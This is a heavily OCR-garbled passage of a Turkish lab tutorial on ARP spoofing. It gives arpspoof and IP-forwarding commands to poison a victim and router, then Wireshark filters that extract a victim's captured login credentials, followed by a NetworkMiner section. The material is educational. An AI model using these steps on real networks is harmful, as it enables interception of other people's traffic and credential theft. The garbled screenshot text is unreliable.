defaatle sahte Arp Yanit paketi gonderirsek - ki arpspoof tool'u otomatik olarak zaten
bunu yapmakta - kurban surekli zehirleneceginden ag ayarlarini onar gibi windows /
linux ¢oézUmlerini (segeneklerini) kullandiginda LAN'a gdnderecedi onarici paketler
(yani dogru router't bulma Arp "Talep"leri) dahi onu kurtaramayacaktir. Belki anlk bir
firsat bulup dogru Router't bulacaktir ama surekli gelen sahte arp yanit paketlerini
almaya devam edecegdinden (ve gelen bu paketleri TCP/IP L2 Arp Protokoll tasarimi
geregi dogru kabul edecedinden) tekrar zehirlenecektir. Yani kurban istese de istemese
de kurban olarak kalmaya devam edecektir ve gercekten eli mahkumdur.

Su an saldirgan araya girmis bulunmaktadir. Kurbanin internet trafigi saldirganin ethernet kart
Uzerinden gecmektedir. Siradaki iglem saldirganin Uzerinden akip giden kurban trafigini
okumasidir. Saldirgan bu okuma islemi icin wireshark yazilimini tercih edebilir:

Pardus Terminal:

A/ Kurulum
;#%:gét install wireshark
dpkg-reconfigure wireshark-common £ [YES] denir.
chmod +x fusr/bin/dumpcap

/f Baslatma
wireshark

Ciktr:
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root@TUBITAK-HAS... root@TUBITAK-HAS... hefese@TUBITAK-H...

-% wireshark

File Edit VWiew Go Capture Analyze Statistics Telephony Wireless Tools Help

Welcome to Wiresharlk

Capture

..using this filter: [[T[Enter a capture filter ...

enp0s3 1f6

any

Loopback: lo

nflog

nfqueue

usbmonl

usbmon2
@ Cisco remote capture: ciscodump
® Random packet generator: randpkt
@ SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump -

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists

You are running Wireshark 2.6.5 (Git v2.6.5 packaged as 2.6.5-1~debSul).

Ready to load or capture

The Wireshark Network... -
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Ardindan saldirgan ekranina gelen kendi ethernet araylzlerinden arpspoof icin kullandigi
araylzu secer (enp0s31f6):

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 = ®| + XG|a ¢« > 0« »|=

trl

=3 -] Expressiot

ly a display filt

Welcome to Wireshark

B Capture

-] Allinterfaces shown -

..using this fitter: [T [Ente

enp0s31f6

any
Loopback: lo

nflog

nfgqueue

usbmonl

usbmonz2

Cisco remote capture: ciscodump
Random packet generator: randpkt
SSH remote capture: sshdump

UDP Listener remaote capture: udpdump

eee®

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists
You are running Wireshark 2.6.5 (Git v2.6.5 packaged as 2.6.5-1~debgul).

#  Ready to load or capture Mo Packets Profile: De

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

WaA® +tIRE|a ¢« >0 <«»==oenE

ol & display filter .. <Curl/>
No. Tire | source | Destination | protoco| Lengt|info
o1 T1.3eie76T61 Dell 67 561Ta Meulettr_bsTasion AR T72.16.3.97 15 at S47b7164167:5673a (duplicate Use of 172.16.3.1 defected!)
62 12,319555072 172.16.3.75 239,255,255.250  SS0F 213 H-SEARCH * HTTP/1,1
64 12.830255921 Dell 6f:5613a Dell_08:61:61 aRP 42172.16.3.1 15 at S4:bfie4i6riseida
65 13321485008 172.16.3.75 230.255.255.250  Ssop 213 HoSEARCH * HTTP/1.1
66 13302217974 Dell_6f:56:3a Hewlettr_bsiasion  ar 42 172.15.3.97 15 at 54:bfis4:67i5613a (duplicate use of 172.15.3.1 detected!)
67 13.524562414 172.16.3,57 239,255.755.250  SSOF 208 H-SEARCH * HTTP/L,1
68 13.605133618 192, 165.20.127 224.168.188.168  Uop 50 54321 — 6061 Le
172.217.18.163 172.16.3.97 Tisvi2 129 application bata
72,217 17 57 Ter T

69 13795684513
e b

5 it
75 13795714697 172.16.3.87 172.217.18.1 ut-0f-0rder
75 13847291631 172.217.18.163
77 13547307328 172,217,151 B
78 13855887986  192,168.20,127 224,168, 168168
79 14.105190500 192.168.20.127 224.168.168.168
80 14.526338812 172,16.3.07 239,255, 255,250 SSOP. 208 N-SEARCH * HTTP/1.1
81 14539415008 Dell 67:56:3a Dell_os:01:61 ARP 42 172.16.3.1 is at 54:bf:64:6f:56:3a
82 15.392542178 Dell_67:56:3a HewlettP_bs:asioe  ARP 42 172.16.3.97 is at 54:bf:64:67:56:3a (duplicate use of 172.16.3.1 detected!)
83 15,526680532 172,16,3,97 239,255, 255,250 SSOP 208 H-SEARCH * HTTP/L.1
84 16.400890771 172.16.3.74 172.16.3.255 NBHS 92 llame query NG WORKGROUP<1d>
85 16527330160 172,16.3.07 239,255, 255250 SSDP. 208 N-SEARCH * HTTP/L.1
85 16539579657 Dell 6f:58:3a Dell_8:01:61 ARP 42 172.16.3.1 is at 54:bF:64:6f:56:3a
87 17.392743685 Dell 67:58:3a HewlettP_bs:asioe  ARP 42 172.16.3.97 is at 54:bfis4:6f:56:3a (duplicate use of 172.16.3.1 detected!)
88 18,403903160 172,16.3,74 172,163,255 NBHS 92 Nlame query NB WORKGROUP<1d>
89 16.403923000 172.16.3.74 172.16.3.255 NBHS 92 llame query NB WORKGROUP<1d=
90 18.839956612 Dell 67:S8:3a Dell_b8:01:61 ARF 42 172.16.3.1 is at 54:bF:64:61:56:3a
o1 19.393078047 Dell 67:56:3a Hewlattp_bs:ao:ee  ARP 42 172.16.3.97 is at 54:bfi84:8F:56:3a (duplicate use of 172.16.3.1 detected!)
52 20.405388762 172.16.3.74 172.15.3.255 HENS 92 Name query NB WORKGROUP<1d>
3 20.840285769 Dell 67:56:3a Dell_o8:01:61 ARP 42 172.16.3.1 is at 54:bF:64:67:56:3a
24 21,393394900 Dell 67i56:3a HewlettP_bsiasioe  ARP 42 172,16.3.97 15 at 54:bf:64:67:56:3a (duplicate use of 172.16.3.1 detected!)
5 22.840656139 Dell_67:56:3a Dell_o8:01:61 ARP 42 172.16.3.1 is at 54:bF:64:6f:56:3a
96 23019607116 VAVare_c4:89:63 Broadcast ARP 60 Who has 172,16.3.527 Tell 172.16.3.83

w Frame 1: 60 byies on wire (480 bits), 60 bytes captured (480 bits) on interface o
@ Ethernet II, Src: Vmvare_c4i89:63 (90:0c:20:c4:89:63), DSt: Broadcast (Ffiffiffiffiffiff)
« Address Resolution Protocol (request)

PP T TP B S ey By 5y "8 "6E B8 6T
08 00 05 04 00 01 00 OC 29 C4 B 63 ac 10 03 53
08 00 ©0 00 00 00 aC 10 03 34 00 0 00 B0 00 0O
08 00 00 00 60 00 0O DO 0O B0 00 0O

five capture in progress>

[@F
Ll

Capturing from enp0s:

Ekranina hem kendi trafigi hem de kurbanin trafigi dusmektedir. Simdi kurban roltindeki
kimsenin bilgisayarindan www.includekarabuk.com sitesinde oturum agma tesebbusunde
bulundugunu farz edelim.
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Kurban Kisi ( Makine ~ Windows 10 Enterprise ):

B a

Anasayfa | #Include <Kz X ‘ + v

< - O @ @ www.includekarabuk.com/

Buyaz 13.11 2018 tarihinde, saat 13:58:48'de yazilmagtir. > Me'aspk)i[ Saldir Ag,amalan
(Ozet)
-> Metasploit ile Bir Sizma
Uygulamasi (ms08-067)

Metasploit Saldir Asamalari (Ozet)

Merhaba, bu makalede sizlere daa 6nceki makalede yapilan sizma iglemi i¢in dzet
niteliginde olan metasploit ile Mw i

genellestirilmistir. Bu yaziya eger én®eki ilintili konuyu okumadan basladiysamz
konu zineirini gdstermek baglamunda azidaki liste verilmisti:  Metasploit
Framework'e Giris Metasploit ile Bir Sizma Ulgulamasi (ms08-067) Metasploit ile
Saldir1 Asamalari (Ozet) Metasploit Komutlari Metabgl... [Devami]

Bu yaz: 13.11.2018 tarihinde, sast 13:58:40'de yazilmsgts.

Metasploit ile Bir Sizma Uygulamasi (ms08-067)

Merhaba, bu makalede sizlere Metasploit Framework'ii kullanilarak hedef bir sistwge
sizma o6rnegi (exploitation) ve hedef sistemde bir payload ¢alistirma &rneg
gosterilecektir. Bu yaziya eger dnceki ilintili konuyu okumadan bagladiysaniz konu

zineirini gdstermek baglaminda asagidaki liste verilmistir: Metasploit Framework'e #G"'S
Girig Metasploit ile Bir Sizma Uygulamasi (ms08-067) Metasploit ile Saldiri
Asamalari (Ozet) Metasploit Komutlari Metasploit D... [Devami]

Bu yaz 13.11.2018 tarihinde, sazt 13:56:26 e yazimsstr : cilginjoe

Giri

© Copyright 2014 - 2019 | Hasan Fatih SIMSEK

Saldirgan ise sUreci hizlandirmak icin direk trafik icerisinde www.includekarabuk.com
paketlerini filtrelesin. Bunun igin sitenin IP bilgisini site DNS sunucusuna sorar.

Pardus Terminal:

S Kurulum

SuUgdo =u

apt-get install dnsutils

/i Calistirma
dig A www.includekarabuk.com

Ciktr:
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Ag Haberlesmesi ve Arp Saldirilar:

Uchirim - hefese

BTUBITAK-HASANFSIMSEKZ : ~%

P4-Debian
+cmd

UBITAK-HASANFSIMSEK2: ~
Yardim
hefese@TUB...
di www . includekarabuk. com
includekarabuk.com

:: NOERROR, id
AUTHORITY: ADDITIONAL: 1

IN

.16.1.10)
+03 2019

BTUBITAK-HASANFSIMSEKZ :

Ardindan wireshark'a filtresini girer.

Wireshark Trafik Filtre:

ip.dst == 46.45.187.221

Ciktr:
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File Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help
ma @ XCla«»>n-€>»=(=EaoaniF
[N]ip.dst == 46.45.187.221 A

|No. |Time |Source Destination C ‘Prctoco|Lengt‘\nfc
23.915308 172 16,3, 1 = TCP 60 52607 — B0 [ACK] Seq= AC =1303890 Win=260864 Len=@

TCP 54
916572293 . TCP 60
4984 17 ] 54
.822365518 .16.3. .45.187 ., 50
] 54 < 449
60 52607 ~ BO [ACK]
] 54 [TCP D
,923575003 (16,3, ,45,187, 60 52607 —
. 7 . g 54 [TCP D 3 1
.923B87085 .16.3. .45.187 ., B0 526087 — BO [ACK] 5e
745 g ] P 54 [TCP DUP ACK 4518#1]
.92427 307 . 60 52607 —
7,221 7 54 [TCP D
,924281178 (16,3, ,45,187, 52607 —
,9242 5 17 . 7 ] 54 [TCP DL L 45
.824532988 .16.3. .45.187 ., 52607 — BO [ACK] 5e
> 1 ] K 45

92480932 o 80 AC
925301988 :
92611202

93483293

938789227

943792471

+- Frame 415: 60 bytes o 480 bits), 60 b tured (480 bits) on inferface @
=-Ethernet 1T, src: pell eff:ol:61 (e4:bo:7a:es:elfk1), Dst: pell 67:!S6:3a (S4:bT:64:67:56:3a)
& Internet Protocol versio 4, srct 172.16.3.97, [kt 46.45.187.221

+ Transmission control Profjocel, Src Port: 52543, st Port: 8@, Seq: 1, Ack: 1, Len: @

[ ¥
54 bt 64 6T 56 3a ed bo 7a o5 U6l 08 00 45 60 T dov: zoaE
00 28 0B 06 40 00 B0 @6 59 4e ac 10 03 61 2e 2d (@ YHooa, -
bb dd cd 3f 00 56 3e 06 d2 eb 60 56 c6 cd 50 11 ? P> VP
@3 ff ©c b3 00 60 0O 00 0O 0O 00 89

@ 7 wireshark_enp0s21f6_20190322034838_mFmBOv pcapng
*enp0s31f6

Kullanici adi ve parola bilgileri var mi yoklamak igin filtreyi biraz daha spesifik hale
getirir ve paketlerden sadece POST talebini kullananlari goster filtresini ilave eder:

Wireshark Trafik Filtre:

ip.dst == 46.45.187.221 and http.request.method == "POST"

Cikti:
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
WMA®| 1+ IRE @ ¢ »n < »=
W ip.dst =

46.45.187.221 and http.request method == "POST"

Info
690 POST /adminPaneli/index.php HTTP/1.1

Destination
46.45.187 221

10622 183.250802639 172.16.3.97 (application/x-wwu-form-urlencoded)

w

Frame 16622: 690 bytes on wire (5520 bits), 690 byfes captured (5520 bits) on inferface ©
Ethernet II, Src: Dell 88:01:61 (e4:b9:7a:08:01:61), Dst: Dell 6f:56:3a (54:hf:64:6f:56:3a)
Internet Protocol Version 4, Src: 172,16.3.97, DSt: 46.45.187,221

Transmission control Protocol, Src Port: 51958, Dst Port: 8o, Seq: 1, Ack: 1, Len: 836
Hypertext Transfer Protocol

HTHL Form URL Encoded: application/x-waas-form-urlencoded

]

o4 64 6T 56 3a e4 b9 7a 00 01 o1 08 00 45 00 Za E
02 a4 04 a5 40 00 80 D6 S5a 33 ac 10 03 61 28 2d 73-a.-
bb dd ca f6 00 50 d2 ea 42 ee 10 b8 16 39 50 18 B 9P
04 80 ed e4 00 00 50 4T 53 54 20 2f 61 64 60 69 ‘PO ST /admi

Ge 50 61 6e 65 Gc 69 2f 69 Be 64 65 78 2e 70 68 nFanells index.ph
70 20 48 54 54 50 2f 31 20 31 0d 0a 52 65 86 65 P HTTP/1 .1--Refe
72 85 72 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e  rer: htt pi//ws,
69 Be 63 6c 75 G4 65 6 61 72 6L 62 75 6b 2e 63  includek arabuk.c
6f 6d 2 0d 0a 43 61 63 &8 65 2d 43 6f e 74 72 om/--Cac he-Contr
6f 6c 3a 20 6d 61 78 2d B1 67 65 3d 30 6d 0a 43 ol: max- age=e C
6T 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70  ontent-T ype: app
6C 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66  lication /x-www-T

wireshark_enp0s31f6_20190322013915_PLOelL8.pcapng

*enp0s31f6

Ardindan ekrana gelen pakete sag tik yapip Follow -> TCP Stream secgeneklerine tiklar.
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Ag Haberlesmesi ve Arp Saldirilari

File Edit View Go Capture Analyze Statistics Telephony Mireless Tools Help

WA® +t FRE|Q € >0 €=

W [ip.dst

46.45,187.221 and http.request.method

"POST"

Protoco| Lengt| Info
[

YadninpaneLi/index. php,
Mark/Unmark Packet ctri+m
IgnorefUnignore Packet ctrl+o
Set/Unset Time Reference  Ctr+T
Time shift Ctri+shift+T
Packet Comment. .. ctri+al+c

Edit Resolved Name

Apply as Filter >
Prepare a Filter ’
Conversation Filter »
Colorize Conversation »
SCTP >
Folb

Copy e AN

HTTP Stream  Ctri+Alt+Shift+H

Protocol Preferences
Decode As...
Show Packet in New Window

Ethernet 1T, Src: Dell 08:01:61 (ed

Hypertext Transfer Protocol

Frane 10622 690 byies on wire (5520 hifs), 690 byles captured (5520 bifs) on interface @
b9:7a:08:01

61), Dst: Dell 6F:56:3a (54:bf:64:6f:56:3a)

Internst Protocol Version 4, Src: 172.16.3.97, DSt: 46.45.187.22L
Transmission control Protocol, src Port

51958, Dst Port: 80, Seq: 1, Ack: 1, Len: 636

HTHL Form URL Encoded: application/x-wi-forn-urlencoded

000 BF Ge 74 65 Ge 74 24 54 79 70 65

TSR R4 6T 56 3a 64 59 7 08 G1 61 65 00 45 06
0010 D2 a4 04 a5 40 00 B0 06 5a 33 ac 10 03 61 2e 2d
0020 bb dd ca 6 00 50 d2 ea 42 ee 10 b8 16 39 50 18
0090 D4 00 ed e4 00 00 50 4T 53 54 20 2f 61 64 6d 69 0 ST /adni

o
78 22 70 68 nPaneli/ index.ph
52 85 66 65 p HTTP/L .1 Refe
7777 77 28 rer: htt p:i/Aam
75 80 2 63 includek arabuk.c
6f 5e 74 72 on/ cac he-contr
30 0d 0a 43 ol: max- age=0- C
2061 70 70 ontent-T ype: app
77 2d 66 Lication /x-umi-f

L0eL8.pcapng

*enp0s31f6

Bdylece paketin icerigini okuyabilir:
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Wireshark - Follow TCP Stream (tcp.stream eq 28) - enp0s31fé

File Edit View Go Capture Analyze Statis|

POST /adminPaneli/index,php HTTP/1.1
B4 ® ¥| || @ 4§ |Referer: http://wa.includekarabuk.com/
| |cache-Control: max-age=o0

| \t:p.stream eq 28 content-Type: application/x-wwni-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 18.0; WinG4;, x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/84.0,3282.140 Safari/537.36 Ec
‘No. |Tim |Source Accept-Llanguage: ftr

1084 33. 2. a7 sccept: text/html, application/xhtml+xml,application/xml;q=0.9,%/*,q=0.8
85 33 52733 72 Upgrade-Insecure-Requests: 1
accept-Encoding: gzip, deflate
Host: wiaw. includekarabuk. com
content-Length: 55
Connection: Keep-Alive
cookie: PHPSESSID=1j@votssugvnbfrk7senedfrfs

userIb=cilginjoeduserPassword=henimguzelsifrenf iR TEhE ) LN RN

pate: Thu, 21 Mar 2018 23:08:11 GMT
Server: Apache

Expires: Thu, 18 NOV 1881 08:52:08 G
Cache-Control: no-store, no-cache,
Fragma: no-cache

Keep-Alive: timeout=5, max=108

date, post-check=8, pre-check=o

connection: Keep-alive
Transfer-Encoding: chunked
content-Type: text/html; charset=UTF-8

75
<1DOCTYPE HTHML PUBLIC "-//W3C//DTD HTHL 4.01//EN" "http://
=html=

<head=

w3, org/TR/htmla/strict.dtd"=

191
<title=¥..netim Paneli=/title=
<link rel="stylesheet" type="text/css" href="ki
<link rel="stylesheet" type="text/css" href="kitap
=meta http-equiv="Content-Type" content="text/html; charset=UTF-8"
b..y..k harfle yaz: charset=UTF-8"--=>

ik/css/yonetimPaneli.css" />
/css/login.css" /=
<|-- charset=utf-8" diye bitirince IE9 T..rk..e kare

19
=/head=
<hody=

423
<div id="loginFrame"=
=div id="loginHeader"=
<div id="loginHeaderText"=Panele Giri..</div=

Frame 1108: 684 bytes on wire (5472 bits

&

Ethernet II, Src: Dell_08:01:61 (e4:b9:7
Internet Frotocol version 4, Src: 172.16
Transmission Control Protocol, Src Port:
+ Hypertext Transfer Protocol

+ HTML Form URL Encoded: application/x-www

=

</div=>
=div id="loginContent"=
<table border="p" class="loginTable">
=form class="inline" action="../adminPaneli/index.php" method="POST"=>

el

<tr>
=td class="warning"=<!--Bad Login--=Kullanici adir
</tr=>
ctrs
<td class="alignTocenter"=<input type="text" class="idofranel" name="use|
STBT A 5T 56 33 €4 BE A B8 61 b1 |ad.."/=</td>

02 9¢ 05 84 40 00 80 85 59 5a ac 18 s/tr=
bb dd ch 77 06 50 63 50 &5 8b 83 bc str=
@4 80 ef d3 08 0 50 4f 53 54 20 2f <td class="alignToCenter"=<input type="password" class="pw0fPanel' name='

6e 50 61 6@ 65 6c 69 2f 69 68 64 65 | )Placeholder="..ifre'"/»</td>

70 20 46 54 54 50 2T 31 2e 31 od 0a| Packet 1114. 1 client pkt(s). 4 server pkt(s). 1 turn(s). Click to select.
72 65 72 3a 20 68 74 74 70 3a 2f 2f

59 6e 63 5C 75 54 65 6b 51 72 51 62| |Entire conversation (2.603 bytes) | Show and save data as |ASCIl -
&6f 6d 2f od 0a 43 61 63 &8 65 2d 43
5 6c 3a 20 6d 61 78 2d 61 67 65 3d | Find: |
&6f 6e 74 65 6e 74 2d 54 79 70 65 3a

e 6C 69 63 61 74 69 67 e 2f 78 2d 77 | Help Filter Out This Strear
O # wireshark_enp0s31f6_2019032202073

(disa aktanimis & *en f6 " [ Wireshark = Follow TCP 22 s_ Uchirim - h

Sonug olarak kurban, makinesinden includekarabuk.com sitesindeki login kismina kullanici
bilgilerini girdiginde bu paket saldirgan olarak bizim Uzerimizden gectigi icin paketi
yakalayabildik ve icine bakarak hesap bilgilerini elde edebildik. Artik kurbanin hesabini
patlatabiliriz.

h. Ekstra [NetworkMiner ile Trafik Analizi]

Arp Spoofing saldirisi yaptigimizda paketleri yakalamak ve okumak icin Wireshark
yaziimindan faydalanmistik. Fark ettiyseniz sureci hizlandirmak adina ilgili paketi / paketleri
bulmada nokta atigi yapacak filtreler girmistik. Peki milyonlarca gelen paket karsisinda neler
yapilabilirdi? Tahmin edebilecediniz gibi yiginla gelen bu paketler icerisinde madencilik (¢esit
cesit birbirini takip eden filtrelemeler) yapmak gerekirdi. Yani 6rnegdin Wireshark ekranina
disen milyonlarca / onmilyonlarca paketi Wireshark'in filtreleme secenegini defaatle
kullanarak kritik paketler elde etmeye ¢alismak gerekirdi. Bu ise gergcekten zaman ve emek
isteyen bir istir. Network sizma testi uzmanlarinin yaptidi igslerden biri de budur. Yani
yakaladiklari trafik paketlerini dosyalayip wireshark gibi yazilimlarla cesitli filtrelemelerde
bulunarak teker teker filtreleme sonuclarindaki gdéze ¢arpan paketleri incelemek ve kritik veri
elde etmeye calismaktir. Sonug olarak bu iste kendini gelistirmek isteyen bir kimse ag trafigi
yakalama / goriuntileme / filtreleme / inceleme / ... Uzerine sektdrde yer etmis en saglam
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yapidaki yazilim olan Wireshark Uzerine bir kitap alip Wireshark'a calisabilir. Zira bdylece
kendini sadece trafik analizi Uzerinde degdil ayni zamanda network temelleri Uzerinde de
gelistirmis olur. CuUnkl wireshark, arastirdiginiz zaman size TCP/IP katmanlarina gore
ayristiriimis paket igerigi sunma gibi network'in temelini uygulamali olarak gdsteren, 6greten
laboratuvar gorevi gérmektedir.

Gereksinimler

(+) Uygulama belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.

Pardus Linux 17.5 LTS [indir] // Saldirgan Sistem

Windows 10 Home Premium TUR LANG x64 [indir] // Kurban Sistem

Peki wireshark ile topladigimiz trafigi istiyoruz ki daha high-level (daha kullanici dostu - yani
daha az elimizi ince isgilige bulagtirabilecegimiz) otomatik bir yazilim ile taratalim ve kritik
addedilebilecek verileri yazilim bize otomatik olarak sunsun. Bu islem igin NetworkMiner adli
Windows uygulamasi kullanilabilir. Bu uygulamayir Pardus v.b. linux dagitimlarinda
calistirabilmek igin ufak bir windows simulasyon programcidi indirecegiz ve onun Uzerinde
NetworkMiner'l ¢alistirarak kullanacagiz.

Oncelikle yine yerel bir agda (6rn; ev aginda) bir araya giren adam saldirisi olan arp
zehirlemesi yaptigimizi varsayalim (not: Bu asama hizli gecilecektir. Detayli aciklamalari
Uygulama bashdi altinda zaten anlatiimistir):

Pardus Terminal:

=

) Ethernet arayliz ismini &grenme
ddress Jf Cikti: enp@s3lfe

‘I.’ _.'ll (
ip a
£/ (*) Router ip Ggrenme

ip route J/ Cikti: 172.16.3.1

£ (®) Kurban IP'sini dgrenme

// Sosyal mih. ile ya da gizli kapakl:i isler ile Jf Cikti: 172.16.3.97
/f Promiscous moda ve yonlendir modas gegme

eg'; 1‘> fproc/sys/net/ipvd/ip_forward

// Kurbana sahte arp paketi gonderimi

arpspoof -i enp®s31fe -t 172.16.3.97 172.16.3.1
{Kurban IP) (Router IP)

// Router'a sahte arp paketi gdnderimi
arpspoof -i enp@s31fe -t 172.16.3.1 172.16.3.97
(Router IP) (Kurban IP)

Ardindan wireshark ile Gzerimizden gegcirdigimiz trafigi dinleyelim ve bir stre dinledikten sonra
trafigi diske kaydedelim.
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Pardus Terminal:

wireshark

Ciktr:

The Wir

File Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help

[+ FIREB|a ¢ »n <« »=[=E|leenFE

[N]Apply a display filter ... <ctrl-/>

Welcome to Wiresharlk

Capture

...using this filter: [ Enter a capture filer ...

enp0s31f6

any

Loopback: lo

nflog

nfgueue

usbmonl

usbmenz
@ Cisco remote capture: ciscodump
@ Random packet generator: randpkt -
@ SSH remote capture: sshdump -
@ UDP Listener remote capture: udpdump -

Learn
User's Guide : Wiki : Questions and Answers : Mailing Lists

You are running Wireshark 2.6.5 (Git v2.6 5 packaged as 2.6.5-1~deb%ul).

| 7 Ready to load or capture

The Wireshark Network... 3_ Uc
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The Wireshark Network Analyzer

File Edit VWiew Go Capture Analyze Statistics Telephony Wireless Tools Help

AmI® 2+ TRE|a ¢« >0 «>=|=|oaaiff

ply a display filter ... =Ctrl-/= 3 | Expressiot

Welcorme to Wiresharls

B Capture

..using this filter: [ [ Enter a capture filter .. | Allinterfaces shown -

any Mhont - " Y O

Loopback: lo
nflog
nfqueue
usbmonl
usbmonz

@ Cisco remote capture: ciscodump

A @ Random packet generator: randpkt
@) SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists

You are running Wireshark 2.6.5 (Git v2.6.5 packaged as 2.6.5-1~deb9ul).

7 Ready to load or capture Mo Packets Profile: De
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File Edit View Go Capture Analyze Statistics Telephony Wireless Toels Help

WaA®|+t[IRE| a3 n <> oo aoff
[N Apply a display filter ... <cCtr
Mo, |T|me |Suurce |Dest|natmn |Prutucu‘ Lengt‘ Info
61 11,391876161 Dell 6f;56:3a HewlettP_hS:ad:00 ARF 42 172,.16.3.97 1s at 54:bf:64:67:56:3a (duplicate use of 172.16.3.1 detected!)
62 12.319555072 172.16.3.75 238,255/, 255,250 S5DF 213 M-SEARCH * HTTF/1.1
64 12,839255921 Dell 6T:56:3a Dell 98:01:61 ARP 42 172.16.3.1 is at 54:bf:64:67:56:3a
65 13.321489008 172.16.3.75 238,255/, 255 . 250 S5DF 213 M-SEARCH * HTTF/1.1
66 13,392217974 Dell 6T:56:3a HewlettP_hs:a9:00 ARP 42 172.16.3.97 is at 54:bf:64:67:56:3a (duplicate use of 172.16.3.1 detected!)
67 13.524662414 172.16.3.97 238255/, 255 . 250 S5DF 208 M-SEARCH * HTTR/1.1
68 13.606133618 192.168.20.127 224,168.168.168 upr 60 54321 — 6061 Len=8
. 795684613 .217.18.163 odld o 215 BT

795780564

. 796692807
4

3, 796714697
.B47291631

.B55887986

2.1
.217.18.163

.168.20.127

11
217,168,163
1¢

.168.168 168

TSecr=301120861
_ T :
(=1 Ack=6! TSecr=35933574%
rect for

54321 - G061 Len=8

| @ ¥

+ Address Resolution Protocol (request)

79 14.105190500 192.168.20.127 224.168.168 168 upF 60 54321 - 6061 Len=8
80 14,526338812 172.16.3.97 238,255,255,250 SSDP 208 M-SEARCH * HTTP/1.1
81 14.839415008 Dell 6T:56:3a Dell _98:01:61 ARP 42 172.16.3.1 is at 54:bf:64:67:56:3a
82 15,392542178 Dell _6f;56:3a HewlettP_hS:a9;00 ARF 42 172.16.3,97 is at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)
83 15.526680532 172.16.3.97 239.255.255.250 SSOP 208 M-SEARCH * HTTP/1.1
B4 16.400990771 172.16.3.74 172.16.3.255 NBHS 92 Name query NB WORKGROUFs1d=
85 16.527330169 172.16.3.97 238,255,255,250 SSDP 208 M-SEARCH * HTTP/1.1
86 16.B839679657 Dell 6f:56:3a Dell_88:01:61 ARP 42 172.16.3.1 is at 54:bf:64:6f:56:3a
87 17.392743686 Dell 6f;56:3a HewlettP_hS:a9;00 ARF 42 172.16.3.97 is at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)
B8 18.403903160 172.16.3.74 172.16.3.255 NBNS 92 Name query NB WORKGROUP<ld=
B9 18.403923000 172.16.3.74 172.16.3.255 NBHS 92 Name query NB WORKGROUFs1d=
90 18.839956612 Dell 67:56:3a Dell _98:01:61 ARP 42 172.16.3.1 is at S4:bf:64:67:56:3a
91 19,393078047 Dell_6f:56:3a HewlettP_bS:a9: 06 ARP 42 172.16.3.97 is at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)
92 20.408388762 172.16.3.74 172.16.3.255 NENS 92 Name query NB WORKGROUP<1ld=
93 20.840285769 Dell 6T:56:3a Dell 98:01:61 ARP 42 172.16.3.1 is at S4:bf:64:67:56:3a
94 21,393394900 Dell 6f;56:3a HewlettP_hS:a9;00 ARF 42 172.16.3,97 is at 54:bf:64:6f:56:3a (duplicate use of 172.16.3.1 detected!)
95 22.840656139 Dell 6T:56:3a Dell_B8:01:61 ARP 42 172.16.3.1 is at S4:bf:64:67:56:3a
96 23.019607116 Vmware_c4:89:63 Broadcast ARP 60 wWho has 172.16.3.527 Tell 172.16.3.83
+ Frame 1: 60 bytes on wire (480 bits), &0 bytes captured (480 bits) on interface o
+ Ethernet II, Src: Wmware_c4:89:63 (00:0c:29:c4:89:63), Dst: Broadcast (Ff:ff:ff:ff:ff:ff)

TO TP T T 17T 1T 80 6c 29

9010 08 00 06 04 00 01 @0 @c 29
2 00 00 00 0O 00 00 ac 10 03

7 08 98 0O 60 00 00 A0 BO 00

enp0s31f6: <live capture in progress=>

€4 89 B3 08 06 00 01
c4 89 63 ac 10 03 53
34 00 00 0O 00 0O GO0
08 88 00

Capturing from enp0s:
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File Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help

Al @ [ IRE| Q€ > n € > = o o
|| ~glStop capturing packets| =
F
r‘k Time Source Destination Protocol
61 M1,.391876161 bell _&f:56:3a HewlettP_hSs:a9:68 ARP
62 12,319555072 172.16.3.75 239,255,255, 250 S5DP
54 12,839255921 pell &6f:56:3a pell @8:01:61 ARF
55 13.321489008 172.16.3.75 239,255,255, 250 SSDP
FE 13,.3922174974 pell &f:56:3a HewlettP_hS:a9.:80 ARP
13.524662414 172.16.3 .97 239,255,255, 250 S5DP
13. 606133618 192.168.20,127 224,168,168, 168 UpP
13.795684613 172.217 .18 172.16.3,97 TLSV1. 2
B 13,785 35 172.217 .18 . 163 172.16.3,97 TCP
13.785780564 172.217. . 172, 3. TCP
2 13,795 62 172.217.18 163 172.16.3.9; TCP
13.79E6692807 . 3. . . TCP
344 172.16 172 .1 . ICMP
'S5 13.7 14697 172.] 172 . 2] 63 TCP
13.847291631 - ] ] ] ol TCP
13.8473 29 172.217.18 163 172, a7 TCP
5 13. 855887986 168, . 168,168 . 168 (]
9 14.105190500 192.168.20 127 224 ., 168.168 . 168 (1]
0 14,526338812 172.16.3 . 597 239,255,255, 250 S5DP
1 14.839415008 bell _&6f:56:3a bell_@8:@1:61 ARP
# 15.392542178 pell &f:56:3a HewlettP_hs:a9:00 ARP
e 15, 526680532 172.16.3 .97 239,255,255, 250 S5DP
B 16,400990771 172.16.3.74 172.16.3,255 NEMS
B 16.527330169 172.16.3 .97 239,255,255, 250 SSDP
2 16, 839679657 pell &f:56:3a pell 608:01:61 ARP
87 17.392743686 pell &f:56:3a HewlettP_hS:a9:80 ARF
88 18.403903160 172.16.3.74 172.16.3,255 NEMS
89 18.403923000 172.16.3.74 172.16.3, 255 HEBMS
9@ 18.839956612 pell &f:56:3a pell 08:01:61 ARP

! |

+-Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on
